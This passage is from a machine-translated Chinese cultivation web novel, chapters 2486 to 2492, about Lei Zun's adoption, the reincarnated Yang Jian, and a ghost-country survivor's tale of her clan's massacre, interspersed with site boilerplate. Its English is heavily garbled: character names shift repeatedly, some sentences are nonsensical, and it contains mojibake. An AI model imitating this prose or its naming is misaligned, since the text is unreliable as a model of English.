    The violent thunder and lightning gushed out from Lei''s different fingers, and it was instilled into Lei Zun''s body like a tsunami.


    Pan Lei Zun let out a deafening howl, and at the same time his figure swelled sharply, and he was on the verge of collapse in the blink of an eye.


    But Lei''s different indoctrination still showed no signs of stopping, but instead became more and more violent.


    Under this situation, Pan Pan Lei Zun finally burst out of all potential in order to survive.


    "Ah ah ah ah ah!"


    Accompanied by the hysterical roar, Pan Lei Zun''s figure actually began to gradually shrink.


    This is the result of the power of thunder and lightning being absorbed and condensed by it.


    In this way, after a full stick of incense, Lei Zun Pan''s figure has become the size of an ordinary person, and there is no longer the feeling of vainness before, and it looks more condensed and real.


    Only then did Lei let go of his finger and let out a sigh of relief.


    "Okay! Does this look a little bit now, otherwise, wouldn''t it lose the face of my Lei Zun clan?"


    And at this moment, I saw the pan Lei Zun plopped and knelt to the ground, yelling, "Boy, pay homage to the foster father!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click on "Favorites" below to record the reading record of this time (Chapter 2486: The child meets the foster father), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2487： 1 word is definite

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    This adoptive father made the room quiet down instantly.


    There were many black lines on Xue An''s forehead, and he was ashamed to look at it.


    Lei was also startled by the difference, but a smile appeared on his face immediately.


    "Okay! Good boy, since you are so sincere, then I will accept you as my adopted son!"


    "Thank you foster father!" Lei Zun banged his head in the pan, and the flattery on his face was almost overflowing.


    Xue An: "..."


    He was really helpless for this shameless guy who didn''t know what his face was.


    However, this time the difference in Thunder did give it a great opportunity, not to mention anything else, the energy just instilled into it was an astronomical figure.


    This is also different from the Lei who is the leader of this world''s Lei Zun. If he is replaced by another Lei Zun, it is estimated that he will be drained long ago.


    So it is only natural that it knelt down to give thanks.


    Of course, Xue An knows very well that Lei''s reason for doing this is definitely not for this incompetent guy, but more to show his favor.


    Therefore, Xue An Chonglei nodded differently as his thoughts turned.


    "Thank you!"


    Lei laughed differently, "It''s a matter of raising your hand, you''re welcome!"


    Xue An turned his head at this moment and looked at Lei Qiang who was standing by the side and not speaking.


    "Miss Lei, I heard that this time you held the martial arts contest because of a person named Yang Gongzi, is that true?"


    Lei Qiang nodded in embarrassment, "Yes!"


    "Well, then, did you know this Young Master before this? Do you know his origin and details?"


    Lei Qiang was taken aback, obviously not understanding why Xue An asked like this.


    This matter seems to have nothing to do with him, right?


    Lei was different but he seemed to have thought of something, his eyes lit up, and he immediately said, "Xue Xiaoyou, do you know this surname Yang?"


    Xue An smiled, "I can''t talk about acquaintance, just a faint guess, so I want to ask in detail."


    "It turns out that this is the case, then you don''t have to ask the ��er. I have investigated this surname Yang in detail and found that he is a newcomer to Jidu Star Territory. No one has known him before, even if he is not. I have doubts about the real surname Yang!"


    "Is it here recently..." Xue An murmured, and then asked again: "Then what does this person look like? What are the characteristics?"


    "It should be said that the biggest characteristic of this person is that he is sick, as if he is about to die, as for his appearance..."


    Lei didn''t curl his lips, "Like a woman, with a little red mole between her eyebrows. The key is that she looks only fourteen or five years old, but she has a slick tongue. He is best at deceiving young girls who are not in the world, so it is nothing Good people!"


    "It''s not like that!" Lei Qiang finally couldn''t help but explain, "Young Master Yang didn''t lie to me!"


    "Then why did he leave you and ran away by himself?" Lei said coldly.


    "He... he must have something important, so he left in a hurry!" Lei Qiang lowered his head, crying.


    "You... alas!" Facing his daughter who was so innocent and almost stupid, Lei Di''s face was helpless.


    How did the hero of his own life give birth to such an unbelievable daughter?


    Xue An smiled, "You seem to believe in this Young Master!"


    "Of course!" Lei Qiang nodded vigorously, "He is the first person to take me as a true friend, of course I believe him!"


    When talking about this, Lei Qian''s eyes seemed to light up.


    Xue An nodded, "In this case, do you want to see him?"


    As soon as these words came out, Lei Qiang was surprised and delighted, and nodded frantically, "Of course I do!"


    Lei''s discoloration was different, but when he was about to say something, Xue An shook his head slightly at him.


    When Lei was different, he resisted and did not speak.


    "Okay, then I will take you to find him, but there is a premise!"


    "Okay, you say! As long as you can take me to see him, I promise you everything!" Lei Qiang said excitedly.


    "Don��t be so exaggerated. I just want you to make things clear after seeing him. If he really likes you, then you stay with him, but if he doesn��t feel you, then you come back obediently. ,understand?"


    Lei didn''t realize it until then, and a smile appeared on his face.


    In his opinion, Xue An''s doing this is obviously better than blindly besieging him.


    After all, as Lei Zun who has existed for tens of thousands of years, his understanding of feelings is far deeper than that of ordinary people, and he naturally understands that it is better to neglect this truth.


    It''s just because care is messy, he didn''t realize this before.


    Now when Xue An mentioned it, Lei couldn''t help but feel determined.


    Lei Qiang was also extremely excited, "Okay, I promise you, as long as Young Master Yang tells me he doesn''t like me, then I will come back obediently and don''t do what he wants!"


    "Very well, that''s a deal!"


    "A word is settled!"


    Xue An declined Lei''s different kind invitations. After discussing the departure time, Lei Zun left the tall building with a pan full of joy.


    After seeing Yue Qinghuan, this woman was already on the verge of running away.


    She didn''t breathe until she saw Xue An come out.


    "What did you do? Why did you delay it for so long? If you don''t come out again, I''m going to break into this building!"


    Seeing Yue Qinghuan with a worried look on his face, Xue An was also moved.


    Of course, it only stops moving.


    "It''s nothing, just talked about something, so it was delayed!"


    At this moment, Yue Qinghuan noticed the pan Lei Zun standing behind Xue An, and couldn''t help but let out a shock.


    "Huh...what is this?"


    Pan Lei Zun''s face collapsed suddenly, UU reading www.uukanshu. com But he didn''t dare to provoke Yue Qinghuan, he could only smile with embarrassment on his face.


    Instead, Xue An smiled slightly, "Didn''t you see it? This is the Lei Zun in the pan!"


    "What? That guy who is greedy for life and fear of death? How come he has not seen him for a while, he has become like a person?" Yue Qinghuan was surprised.


    The corner of Lei Zun''s mouth twitched a few times, and he said dryly: "Yue...Miss Yue, when am I not like a person anymore?"


    However, Yue Qinghuan ignored his reactions. Instead, he went straight forward and poked his shoulder with his hand. The look of surprise in his eyes became more serious.


    "It''s actually an entity, how come it has changed so much after so long?"


    "That''s all because of his help from the foster father!" Pan Pan Lei Zun said proudly.


    "Foster father?" Yue Qinghuan became even more confused.


    Xue An just smiled and told what had happened in the building just now.


    After listening, Yue Qinghuan couldn''t help being a little dumbfounded.


    "This guy actually saw your origins?"


    "This is not surprising. As a strong man who has existed for tens of thousands of years, his insight and vision are beyond the reach of ordinary people!" Xue An said solemnly.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2487 is fixed), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2488： The strong gathered in the sect like a feather

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    "The key is not this. The key is why did you take that silly girl to find Young Master Yang? Do you have any other ideas?" Yue Qinghuan looked at Xue An with bright eyes.


    Xue An smiled bitterly, "What can I think?"


    "Then who knows, maybe it''s because the girl is so cute that she intends to abduct it!"


    After all, even Yue Qinghuan couldn''t help but laugh.


    At this moment, the ground suddenly began to tremble, and the two of them immediately turned their heads and looked around, and they saw that countless clouds suddenly gathered in the sky above the northwest corner of Jidu City.


    In an instant, countless thunder lights poured down, like a punishment from heaven, completely destroying a tall courtyard in the northwest corner. As for the people inside, there was no scum left behind by the thunder light.


    Even the two of Xue An, who are far apart, can clearly feel the oppression brought by this endless thunder light.


    In the thunder of thunder, Yue Qinghuan''s complexion was slightly pale, and he whispered: "Is this a hands-on?"


    Xue An sighed softly, "Yes, let''s do it!"


    Needless to say, anyone who can use such a large-scale thunder power in this city is not a second thought except for the difference in thunder.


    Combining with what he said before, this is obviously an attack on the Cui family.


    Moreover, one shot is a ruthless means of destroying the door.


    There may be someone who has been wronged, but in Lei''s opinion, since the Cui family is trying to provoke his authority, there is no need to stay.


    This is also a means to slaughter other giants.


    Sure enough, he is a strong man who has existed for tens of thousands of years. If he doesn''t make a move, it is a powerful means of thunder!


    Yue Qinghuan calmed his mind, and then said softly: "Have you guessed something? Or you know the so-called Young Master at all?"


    "It can''t be said to be acquaintance, it''s just a faint conjecture. Everything has to wait until I see this person to know if it''s right or not!" Xue An said lightly, then turned and left.


    Yue Qinghuan thoughtfully.


    At the same time, in this tall building, there are also people having a conversation.


    "Master, do you really plan to let the young lady follow that kid today?" an old man asked with a worried expression on his face.


    Lei nodded differently, "Yes!"


    "But I really don''t understand. Although this kid is good, but his origin is unknown. Is it too sloppy to give the young lady to him like this?"


    "Hehe, Lao Zhong, you are good at everything, but you are too cautious in doing things. Lei Qian is my daughter. Do you think I can let her leave casually?"


    "Then you mean..."


    "To be honest, this Xue An really surprised me today. I thought he was at best a Chinese teenager who came to heaven by chance, but today it doesn''t seem to be the case!"


    "First of all, his strength is far beyond my imagination. Although it can be seen that he is a first-time saint, I can''t see through his strength. Secondly, this person is obviously familiar with evil things. Combine with him. His Chinese identity always makes me doubt his purpose of coming to heaven!"


    "You mean... he came here to investigate the Chinese people''s affairs?" The old man looked astonished.


    As an old servant who has served Lei''s family for thousands of years, he naturally knows many secrets.


    "You can also say the same. Although I don''t know what it is, it''s obviously not that simple!"


    "It seems that you, Master, value this Xue An very much!"


    "Haha, value it?" Lei said with a wry smile, before turning around, "Old Zhong, what do you think of my vision?"


    "Naturally, my eyes are like a torch!"


    "I can''t talk about that, but I have lived for tens of thousands of years. I think I''m still very accurate in judging people, but I can''t see through this Xue An alone!"


    This sentence made Lao Zhong''s face a little changed.


    "Is this boy... so good?"


    Lei didn''t sigh, "It''s not just amazing. The situation that disturbed the entire military strategist when he was born, and even crossed the sea with the body of an immortal, healed Yue Shifang''s injuries!"


    "Following the two consecutive defeats of the Shen family''s two major sword repairmen, these characters are more than powerful and can be described?"


    "If that''s the case, you shouldn''t hand over the young lady to him!" Old Zhong said anxiously.


    Lei didn''t waved his hand, "Don''t worry, I understand these Chinese people, they have their own pride, since they have promised me, they will never regret it. I can rest assured that I will give them to him! What''s more ...."


    Lei did not pause for a while, "I also want to know what the origin of this surname Yang is like!"


    "You suspect...that Young Master is also related to Xue An?"


    "Although he only said that he had a vague guess at the time, I felt that the tone of Xue An''s speech seemed to reveal something, as if he was very familiar with the surname Yang!"


    Speaking of this, Lei different suddenly remembered something, "Old Zhong, you immediately send a team of elite secretly to protect the ��er!"


    Old Zhong nodded immediately, "Yes!"


    The old Zhong turned around and left. Lei was sitting alone in the room, silent. It was not until a long time later that he smiled indifferently.


    "The Chinese... After thousands of years, I finally heard from you again, and the appearance of Xue An is far from that simple. It seems that some existences should have been awake now!"


    "The waves are about to rise, but I don''t know if the good destiny I have made now can be used in the future?"


    Just when Lei Dian sighed faintly, in the star field that was hundreds of thousands of miles away from the star field of Jidu, there stood a city.


    It is located in the Yunxiao City at the junction of Jidu, Taiyin and Luofumen.


    If you overlook the entire Yin Yang family star field from above, this Yunxiao City is located right in the middle of the entire star field, and the three areas meet, the location is very important.


    And at this moment, this Yunxiao City is even more raging, bustling with brocade-like excitement.


    It''s all because of the upcoming Hundreds Conference.


    Although there is still some time, there are already many people from the sect.


    And the place where the Yin and Yang Family entertained various schools and factions is located in this Yunxiao City. UU reading www.uukanshu. cm


    And because of this, Yunxiao City at this moment can be described as a gathering of strong people, with sects like feathers.


    And just on a very lively street, sits a magnificent teahouse.


    At this moment, above the teahouse, a young man is sitting lazily on a chair by the window, looking out at the scenery outside the window.


    This young man was so handsome that he was almost enchanting, especially the red mole between his eyebrows. It was even more red, as if it would drip at any time.


    This also made the laziness reflected in his eyes more obvious.


    The two complemented each other, and combined with his pale cheeks, it gave people a unique beauty of sickness.


    In fact, since he sat here, many people were watching him secretly.


    The teapot on the table was steaming, but the boy didn''t seem to want to take it at all, but tapped the edge of the table lightly with his long fingers.


    Suddenly.


    There was a sound of footsteps from the stairs, and then a young man came upstairs, walked quickly behind the young man, and stood with his hands down.


    "Master!"


    The young man didn''t turn his head back, just chuckled.


    "Wow, you are late!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click on "Favorites" below to record the reading record of this time (Chapter 2488 The strong gather in the sect, Ruyu), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2489： Reincarnation

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    "Something delayed on the road, I''m sorry!" Xuantian said softly.


    "Are you injured?" The young man turned his head and looked at Xiaotian.


    "It''s just a small injury, it''s insignificant!" Xiaotian smiled.


    Despite this, the boy frowned slightly, then stretched out his hand and tapped it lightly.


    A ray of brilliance flashed past and submerged into Xiaotian''s body.


    Xiaotian only felt his whole body warm, and then the wound on his back healed quickly.


    The boy''s face was paler than before.


    "Master!"


    Xiaotian gave a distressed cry, because he knew that every time he used this ability, it would cause tremendous pressure on the teenager.


    The young man just smiled, and then pointed to the other side, "The water has been boiling for a long time, so let''s sit down and drink some tea!"


    Xiaotian sat down on the opposite chair, and the boy filled him with a cup of hot tea and handed it over.


    The tea poured into his stomach, accompanied by a refreshing fragrance, which made his tired body a lot easier after a hard fight.


    "Has the matter been resolved?" the young man asked.


    "Back to Master, it''s all resolved, there are seven evil creatures in total, all of them punish!" Xiaotian put down his teacup and said in a deep voice.


    "Seven evil things..." The young man laughed, "It seems that with the holding of the Hundred Schools Conference, these evil things have become more and more rampant. Before, there were only one or two at most, but now there are seven or eight together. Get out!"


    Xiaotian nodded, "I also think these evil things have become more active recently, but I don''t know what they are planning!"


    "What else can I plan? Naturally, it is aimed at this Hundred Schools Conference!"


    "You mean... they intend to sabotage this Hundred Schools Conference?" Shuo Tian was taken aback and asked immediately.


    "Maybe I intend to take this opportunity to wipe out the entire hundred schools!" The young man said lightly.


    The sky suddenly changed, "If that''s the case, things will be terrible! Or we should quickly notify the major families now!"


    "Haha!" The young man shook his head with a smile, "Do you think that if you notify the major families, they will believe it?"


    Xiaotian was silent, and only after a long time did he say with difficulty: "Then Mr. Xue should also be notified!"


    "He doesn''t need to notify. If I guessed correctly, he must already know the news now!" The boy said in a deep voice.


    Even so, there was still a hint of anxiety on Xiaotian''s face.


    The boy chuckled when he saw it; "I know what you are thinking, but in fact, you don''t have to be too anxious. On the contrary, I think this is a good thing, because the evil things suddenly started to stir up collectively, which just shows that they have begun to panic! "


    "And all we have to do is to calm down and deal with it calmly. Only in this way can we help Xue An!"


    Xiaotian took a deep breath and nodded, "I understand!"


    "It''s just that you have to work a lot more recently!" said the boy.


    Xiaotian smiled, "Master, you are too polite, as long as you can get rid of these bastards, you can kill me, let alone tired!"


    Suddenly, Xu Tian''s face was full of sudden expressions.


    For him at this moment, he really has nothing to ask for.


    Because no matter what, he finally did not live up to the original vow and successfully found the reincarnation of the Lord God.


    Therefore, in today''s Zhoutian, there is only one thought in his mind, and that is to protect the safety of the reincarnation of the Lord God, and at the same time eradicate these evil things that are harmful to the world, and investigate the truth behind it.


    That''s right!


    At this moment, the young man sitting across from the sky is the reincarnation of Erlang Shenyangjian.


    Back in the heavens, Xue Anyu rescued the trapped Yang Jian from the hands of Lihentianjun, but at that time he resolutely chose to commit suicide in order not to be threatened by Lihentianjun.


    This deceived his mind, so much so that he did a lot of wrong things for Li Hentian Jun. It was not until Xue An arrived that Xuantian, who had only come to his senses, collapsed at that time.


    At that time, Xiaotian was about to follow his master. Xue An stopped him and told him that Yang Jian��s spirit had not been completely annihilated. One of them was protected by Xue An, and then sent into the reincarnation. .


    So as long as he finds his reincarnation, there is still hope of resurrecting Yang Jian!


    To this end, Xiaotian vowed to find the reincarnation of the master.


    After bidding farewell to Xue An, he traveled almost all over the sky, but he didn''t even find a trace of it.


    At that time, Xiaotian was almost desperate. As a result, under this situation, he accidentally came to the Shadow Abyss and met the Shadow Turtle King by chance.


    With the help of the Shadow Turtle King, Xiaotian successfully crossed the Abyss of Shadows and arrived in the outer sky of this day.


    The little Chinese **** Xue An learned from the Shadow Turtle King was him.


    And in the outer sky, Roaring desperately discovered that this star field was much larger than the heavens. If it was a little bit of searching, he didn''t know the year and month to find it.


    But even so, for the faint trace of hope, Xiaotian resolutely embarked on the journey.


    It may be that his actions moved some of the existences in the dark. This time the search was surprisingly smooth. After only less than a year, Zhou Tian found the young man in a prosperous place outside the sky.


    Just a glance at that time, Xiaotian could conclude that he was definitely the reincarnation of Yang Jian.


    There is no other reason, it is that Xiaotian has too deep a memory of the breath of Yang Jian''s body.


    It is so deep that even if Yang Jian has gone through the cycle of reincarnation, Xu Tian can still smell it.


    In this case, Xu Tian immediately tried his best to get close to the teenager, and then found an opportunity to tell everything.


    I thought this boy would feel shocked and unbelief but never expected that the boy believed it after listening to it.


    In fact, in these years, this young man would have the same dream almost every night. In the dream, he had three-eyed majesty, and he was also surrounded by an incomparable sky dog.


    Except for these, he has lost all other memories.


    Even so, at the first sight of Xiaotian, the boy knew that the young man in front of him was the sky dog ??he had seen in his dream.


    After the vicissitudes of life, one master and one servant finally reunited together successfully.


    Then the boy followed Xiaotian and began to travel in the outer sky. During the tour, Xiaotian kept telling the original events, and finally let the boy retrieve most of his memories.


    The following news about Xue An from the military strategists and the Pharmacist Alliance also made Xiaotian ecstatic, and he had to take the teenager to find Xue An at that time.


    In the end, he was stopped by the boy.


    Because he knew Xue An''s purpose in coming to this world.


    As a Chinese **** who had personally experienced that battle, the young man knew very well that Li Hen Tianjun was not behind the scenes, and the true messenger was probably hidden in this heaven and heaven.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2489, the reincarnated body Erlang Shenjun), and you will see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2490： Talking about life and death ghost country heirs

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    Xue An''s arrival was obviously also for this, otherwise he would not have gone to great lengths to come to this outer sky.


    But at this moment, even if I went to the door, it wouldn''t do much, so I might as well hide and investigate this matter in secret.


    With this idea in mind, the young man took the roaring sky to search in secret, and quickly locked the target on the evil thing.


    So this master and servant followed all the way, stepped into the territory of the Yin Yang family, and finally discovered that these evil things were transformed into human forms, hidden extremely deeply, as if they were planning some terrible conspiracy.


    This is what happened in the past.


    At this moment, the boy, or Yang Jian, looked straight at the sky and said softly.


    "Xiaotian, no matter what, I don''t want you to talk about life or death lightly, because after so many things, the Chinese gods are only you and me!"


    "I don''t want you to give up your life because of some worthless evil things, understand?"


    "I understand!" Xiaotian nodded his head heavily.


    Yang Jian smiled, then bowed his head to pour tea.


    But at this moment, Xiaotian suddenly smelled something, his face changed, and then suddenly turned his head and looked out the window.


    Outside the window is a lively street, and at this moment, it is full of people coming and going.


    "Master, there is a situation!"


    Yang Jian immediately turned his head and looked out the window.


    But I saw a person walking on the long street where the crowds were surging.


    This person was enveloped in a large black robe, and he couldn''t see his face at all.


    This is actually nothing strange, after all, Yunxiao City at this moment can be said to have assembled all the sects in the world.


    Naturally, there are many practitioners who practice strange methods.


    Therefore, on the streets nowadays, people are dressed in a variety of ways, and you can''t see anything with a black robe.


    The key is the smell that Xiaotian smells.


    You must know that Roaring Tian was born as a celestial dog. After these years of ups and downs, his strength has greatly increased, and his sense of smell has also been greatly improved.


    It is with his talent that Yang Jian can successfully find so many hidden evil things among the crowd.


    Obviously, the black-robed man today is probably an evil thing.


    At this point, the master and servant couldn''t help looking at each other, and then stood up together.


    "Master, you should rest here, it''s just an evil thing, just leave it to me!"


    Yang Jian shook his head, "Since this evil thing dared to appear on the street so grandly, it is obviously not low in status. I will interrogate him personally later!"


    "Then... okay!" Xiaotian didn''t dare to persuade anymore, because he knew it would be useless to persuade him.


    The master and servant went straight downstairs, mixed in the crowd, following the black-robed man from a distance.


    After walking on the street for a while, the black-robed man suddenly turned and walked into an alley by the road.


    Yang Jian and Xiaotian immediately followed, but as soon as they walked deep in the alley, Yang Jian stretched out his hand to stop Xiaotian behind him.


    "Don''t go forward!"


    "What''s the matter?" Xiaotian was taken aback for a moment.


    I saw this black-robed man walking out slowly in the depths of the alley.


    With his appearance, the whole alley was gradually enveloped by black air, and many figures faintly surrounded Yang Jian and Roaring Heaven.


    Xiaotian''s expression tightened, and he immediately stepped forward to block Yang Jian behind him.


    "Master...."


    "It''s okay!" Yang Jian chuckled, then looked at the black-robed man in the distance.


    "So you already knew it!"


    The black-robed man obviously did not expect that the person who followed him was such a handsome young man, but immediately he said in a gloomy voice.


    "Who are you? Why follow me?"


    "Hehe, don''t you know what you are? Why do we follow you?" Xiaotian sneered.


    "I don''t know what you are talking about, but since you dare to follow me, you have to pay the price!"


    As he said, the black robe man''s hand shook slightly, a copper bell rang, and then the shadows hidden in the darkness appeared.


    Surprisingly, he was a dead body with a black suit, suspended under his feet, and with a seal on his forehead.


    Seeing this scene, Yang Jian''s eyes flashed, and he blurted out, "Wait a minute!"


    But he said it was too late, these dead corpses turned into black light, and went straight to the master and servant.


    With a roar of anger, his figure suddenly soared, and in the blink of an eye it turned into a giant beast three meters high, and then raised his hand to fight with these dead bodies.


    Ding Ding Ding!


    Accompanied by the sound of golden and iron clinking, Xiaotian''s proud claws were completely ineffective in front of these dead bodies, and even aroused a little spark.


    "What the **** is this? Is it a dead body?" Roaring angrily said.


    Yang Jian''s eyes flashed, and then he said in a deep voice, "Shooting the corpse? Are you a descendant of the ghost country?"


    Following his shouting, these dead bodies retreated suddenly, and then the black-robed man said in a surprised tone.


    "You actually know the ghost country?"


    Yang Jian smiled bitterly, "Of course I know!"


    After speaking, Yang Jian told the story about it. Of course, he didn''t mention his origin, but said that he brought his men to hunt down a group of demons.


    It just so happens that this black-robed man is a descendant of the ghost country, and the aura contained in his body is very similar to those demons, that''s why this Oolong came out.


    After he finished explaining, the black-robed man was silent for a while.


    Yang Jian thought he didn''t believe it, so he couldn''t help but smiled bitterly: "This is indeed a misunderstanding, I..."


    Before he could finish speaking, the black-robed man said coldly: "What you are chasing is not an evil demon, but an evil thing!"


    As soon as this remark came out, Yang Jian couldn''t help but shake.


    "you��."


    Obviously he didn''t expect that this black-robed man would defeat his purpose with a single word.


    "Are you curious how did I know?" the black-robed man asked. UU reading www.uukanshu.c��m


    Yang Jian nodded.


    At the same time, he saw the black robe slamming his robe, and the black robe was scattered, revealing a figure below.


    Then, even the well-informed Yang Jian and Shuo Tian couldn''t help but shake the scene that I saw.


    What kind of picture is this.


    I saw a beautiful and charming girl standing in the field, but the feeling was not pleasing to the eye, but extremely strange.


    Because the young girl was divided into two in the middle, half of which was the charming body of Tianzi and Guoze, and the other half was the bones of bones.


    Such a huge contrast is abruptly blended together, naturally making people feel chills at first glance.


    "Actually, I am indeed a descendant of the ghost country, and the only surviving descendant of the corpse line!"


    "The only remaining descendant?" Yang Jian was startled.


    "Yes!"


    Speaking of this, tears flowed from the woman''s beautiful eyes.


    "My people have all been killed by evil things!"


    "Even I was caught by evil spirits. Although I was controlled in a timely manner, it was a fluke to save my life, but it still made me look like I am not a ghost or a ghost!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2490 Lightly Talking about Life and Death), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2491： Unshakable hatred

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    Although they are in the same land of Witch Gu, the corpse chasing clan is completely different from the Jingman clan.


    What they believe in is the ghost country handed down since ancient times, and they call themselves the descendants of the ghost country.


    Although it hasn''t been famous in the sky over the years, the corpse chasing clan is quite strong, and even in the land of witchcraft, it has formed a tendency to fight against the witch gods faintly.


    Unexpectedly, it was such a powerful ethnic group, but under the infestation of evil things, it was destroyed for a while, leaving only one person.


    Hearing this, even Yang Jian couldn''t help but change his face, "What? The ghost country has been destroyed?"


    The woman nodded, and then told her past in a low tone.


    It turns out that the corpse-driving clan believes in the power of the ghost country the most. On major festivals, they will hold grand sacrificial activities.


    Some time ago, it coincided with the birthday of the ghost mother, so the corpse clan began to worship as usual.


    It turned out that something went wrong with this festival.


    Everything went smoothly at the beginning, and the ghost mother descended smoothly and descended on the body of the high priest of the corpse-driving race.


    But when all the tribesmen knelt down and worshipped, frantically chanting the scriptures of the ghost country, the festival suddenly changed.


    First of all, the high priest who carried the body of the ghost mother suddenly began to go crazy and let out a terrifying howl.


    This howl seemed to come from the deepest part of hell, even unheard of by the corpse chaser.


    Just when everyone didn''t understand why, the cruel killing began.


    The high priest completely lost consciousness, and turned into a crazy killing machine, killing people around him.


    Because they were caught off guard, the corpse-driving family suffered heavy losses from the very beginning, and at least several elders died in the hands of the high priest.


    When the others recovered, the body of the high priest changed.


    Saw Bai Sensen''s ribs directly penetrated his chest, exposed to the outside. At the same time, his face quickly withered, and in the blink of an eye, it became a corpse-like existence.


    But just like this, it was the beginning of the nightmare of the corpse chasing clan.


    Although the elders worked together to encircle and try to suppress the frantic high priest, the result was still useless, and instead was killed by him.


    Not only that, the people who had been slaughtered by the high priest before also staggered up from the ground at this time, and attacked their former companions.


    Until now, when the **** and cruel scene was told, the woman''s body was still trembling slightly.


    Yang Jian frowned, "Are you sure this is the work of evil things?"


    The woman smirked, "Of course it is sure, because just behind, the form of the high priest has undergone a huge change! He doesn''t look like a human anymore!"


    "Then uttered a cold and evil voice from his mouth, claiming to be an evil thing, and demanding that all members of the tribe surrender to him, so that he can avoid death!"


    "Then what about the ghost mothers and the many ghosts and gods you believe in?" Yang Jian couldn''t help asking.


    There were tears in the woman''s eyes, "They are all dead! They are dead in the hands of evil things!"


    Yang Jian and Xiaotian looked at each other, and they were all shocked.


    You must know that although the belief in the ghost country has declined, it is also a real god, and it just died like this?


    No wonder this woman would claim that the ghost country has been destroyed.


    At this time, the woman said to herself.


    "In fact, I learned later that the evil spirits of these evil things are very close in form to the spirits of the ghost country we believe in, and it is for this reason that these evil things have to successfully infiltrate the ghost country, and then broke out into trouble. Master Ghost Mother and others are all slaughtered!"


    Yang Jian was silent.


    This is indeed the usual method used by evil things.


    "Then... what about the back? What happened to your people?" Xiaotian couldn''t help asking.


    "My people..." There was infinite pain on the woman''s only half of her face.


    "They are all dead! They died on the road of unwillingness to surrender."


    Speaking of this, the woman''s voice trembled slightly, "We are usually called the descendants of the ghost country, and we are regarded as the generation of demons, fearing to avoid it, but on that day, we fought with evil things to the end!"


    "A person who goes forward and then rushes forward, may turn into a corpse in the next instant!"


    The woman''s voice gradually became low, but Yang Jian''s expression became awe-inspiring.


    No matter what, these descendants of the ghost country are worthy of admiration.


    "Actually, I should have died, but at the end, I was thrown away by the **** elder, because he told me that although the ghost country was destroyed, the corpse-shoveling clan was at least still there, so he Want me to live!"


    "After saying this, the great elder roared and rushed forward, burning all his strength, and perishing with the evil things!"


    "But these evil things seemed unwilling to die before they died, so they spread out all the evil spirits. In order to prevent these **** from having a chance to escape, I sacrificed half of my life and finally eliminated these evil spirits. But the consequence is that I will always remain in this form until I die!"


    The woman narrated softly, her tone gradually becoming cold, as if she was telling something that was not happening to her.


    After she finished speaking, the woman looked up at Xiang Yangjian and Xiaotian, "Can you believe what I said?"


    Yang Jian nodded without hesitation, "Of course I believe it!"


    In fact, he could clearly perceive that there was an evil spirit entrenched in this woman''s body, and it formed a clear boundary with the remaining half of the body.


    This is enough to show that the woman did not lie.


    The woman nodded. UU reading


    "Actually, it doesn��t matter if you don��t believe it. I say this is not to make you sympathize with me. I just want to tell you that I don��t share the hatred of evil things, and since you are also here to punish evil things, then we They are like-minded people and can cooperate with each other!"


    Yang Jian nodded, "Of course this is fine!"


    The woman then asked: "But I want to know what kind of hatred you have with the evil things? So that you want to fight them?"


    Yang Jian was silent for a moment when he heard the words, and then sighed: "In fact, our situation is similar to yours, and it is also the hatred of genocide!"


    "Huh? It''s also the hatred of genocide?" The woman was taken aback, and then shook her head.


    "After leaving the land of Witch Gu and entering the realm of the Yin Yang Family, I have inquired about it, haven''t I heard of a group that has recently been wiped out?"


    "Of course you can''t have heard it, because what I said..." Yang Jian paused, "It happened before ten thousand years ago!"


    The woman''s eyes shrank instantly, and she said in disbelief, "Before ten thousand years?"


    "Yes! Even I was harmed by evil things, so I was reincarnated in reincarnation in desperation and became what I am now."


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    For the convenience of reading next time, you can click "Favorites" below to record the reading record of this time (Chapter 2491 is not shared by the enemy), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2492： Reunion

